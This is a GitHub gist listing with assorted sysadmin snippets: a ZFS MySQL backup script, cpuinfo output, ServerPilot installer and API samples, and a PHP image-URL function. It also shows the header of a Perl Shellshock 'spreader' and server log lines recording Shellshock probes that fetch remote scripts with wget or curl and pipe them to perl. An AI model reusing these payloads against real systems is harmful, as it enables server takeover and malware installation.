Skip to content

Instantly share code, notes, and snippets.

Avatar

Tyler Longren tlongren

View GitHub Profile
@tlongren
tlongren / intro.md
Last active Aug 29, 2015
add content
View intro.md

#Adding a New Issue

  1. Add a new post to WordPress.
  2. Select the PDF, PDF thumbnail, issue year, and issue type at the bottom of the post content area.
  3. Add those newly uploaded files to the post. Use the fuil size thumbnail when inserting into post.
  4. When uploading the thumbnail, save it's name as something like "Wednesday, January 29, 2014"
  5. Make sure to check the proper category, weekly issue or special section, and then the current year.
  6. Set the PDF thumbnail as the featured image for the post (needed for the Past Issues and Special Sections to work).
  7. Publish it!

##Results

@tlongren
tlongren / mysql-backup-alt.sh
Created Aug 4, 2014
Backup and Compress All Databases On Your MySQL Server - More Disk I/O Friendly
View mysql-backup-alt.sh
#!/bin/bash
TS=$(date "+%Y%m%d-%H%M%S")
SNAP=zpool/mysql@${TS}
zfs snapshot $SNAP
zfs send $SNAP | pv | xz -z | ssh somewhere "cat > /mnt/snapshots/mysql-${TS}.xz"
zfs destroy -Rv $SNAP
@tlongren
tlongren / mylove.txt
Created Aug 21, 2014
/proc/cpuinfo output from my main workstation at home
View mylove.txt
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 23
model name : Intel(R) Xeon(R) CPU X5450 @ 3.00GHz
stepping : 10
microcode : 0xa0b
cpu MHz : 1998.000
cache size : 6144 KB
physical id : 0
@tlongren
tlongren / the-options.md
Last active Aug 29, 2015
DOSnapshot Options and Real-World Usage Example
View the-options.md

All options:

> $ do_snapshot c  

aliases: s, snap, create

Options:
  -o, [--only=123456 123456 123456]                              # Select some droplets.
  -e, [--exclude=123456 123456 123456]                           # Except some droplets.

-k, [--keep=5] # How much snapshots you want to keep?

@tlongren
tlongren / payload.pl
Created Oct 1, 2014
CVE-2014-6271 payload
View payload.pl
#!/usr/bin/perl
# this spreader is coded by xdh
# xdh@xxxxxxxxxxx
# only for testing...
my @nickname = ("|PHP|");
my $nick = $nickname[rand scalar @nickname];
my $ircname = $nickname[rand scalar @nickname];
@tlongren
tlongren / probes.txt
Last active Aug 29, 2015
Shellshock Attempts
View probes.txt
Oct 20 05:22:59 longren httpd: Oct 20 06:22:59 longren.io apache 80.241.209.165 - - [20/Oct/2014:06:22:59 -0400] "GET /cgi-bin/bit.cgi HTTP/1.0"301 - "-" "() { :;}; /bin/bash -c \"cd /var/tmp ; rm -rf j* ; wget http://184.171.247.165/ji ; lwp-download http://184.171.247.165/ji ; curl -O /var/tmp/jiw http://184.171.247.165/ji ; perl /var/tmp/ji ; rm -rf *ji\""
Oct 20 05:23:00 longren httpd: Oct 20 06:22:59 longren.io apache 80.241.209.165 - - [20/Oct/2014:06:22:59 -0400] "GET /cgi-bin/bit.cgi HTTP/1.0"404 55163 "-" "() { :;}; /bin/bash -c \"cd /var/tmp ; rm -rf j* ; wget http://184.171.247.165/ji ; lwp-download http://184.171.247.165/ji ; curl -O /var/tmp/jiw http://184.171.247.165/ji ; perl /var/tmp/ji ; rm -rf *ji\""
Oct 20 08:16:34 longren httpd: Oct 20 09:16:34 longren.io apache 65.254.63.146 - - [20/Oct/2014:09:16:34 -0400] "GET / HTTP/1.0"301 292 "() { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl" "() { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl"
Oct 20
@tlongren
tlongren / serverpilot-all-server-request-result.json
Last active Aug 29, 2015
ServerPilot API: Request All Servers and JSON Response
View serverpilot-all-server-request-result.json
{
"data": [
{
"id": "FqHWrrcUfRI18F0l",
"name": "www1",
"autoupdates": true,
"firewall": true,
"lastaddress": "1.2.3.4",
"lastconn": 1403130552,
"datecreated": 1403130551
@tlongren
tlongren / serverpilot-install.sh
Created Oct 25, 2014
ServerPilot Install LAMP Stack
View serverpilot-install.sh
(test -e /usr/bin/wget || (sudo apt-get update && sudo apt-get -y install wget)) &&
sudo wget -nv -O serverpilot-installer.py https://download.serverpilot.io/serverpilot-installer.py &&
sudo python serverpilot-installer.py
--server-id=THIS_WILL_BE_PROVIDED_FOR_YOU
--server-apikey=THIS_WILL_BE_PROVIDED_FOR_YOU
@tlongren
tlongren / output.txt
Created Oct 25, 2014
scotch/box could not be found
View output.txt
tyler@x55c:~/Desktop/Git/scotch-box$ vagrant up
Bringing machine 'default' up with 'virtualbox' provider...
There are errors in the configuration of this machine. Please fix
the following errors and try again:
vm:
* The box 'scotch/box' could not be found.
tyler@x55c:~/Desktop/Git/scotch-box$
@tlongren
tlongren / strip-http-https
Created Dec 22, 2014
Convert Images to be Relative
View strip-http-https
function image_to_relative($html, $id, $caption, $title, $align, $url, $size, $alt) {
$sp = strpos($html,"src=") + 5;
$ep = strpos($html,"\"",$sp);
$imageurl = substr($html,$sp,$ep-$sp);
$relativeurl = str_replace("http://","",$imageurl);
$sp = strpos($relativeurl,"/");
$relativeurl = substr($relativeurl,$sp);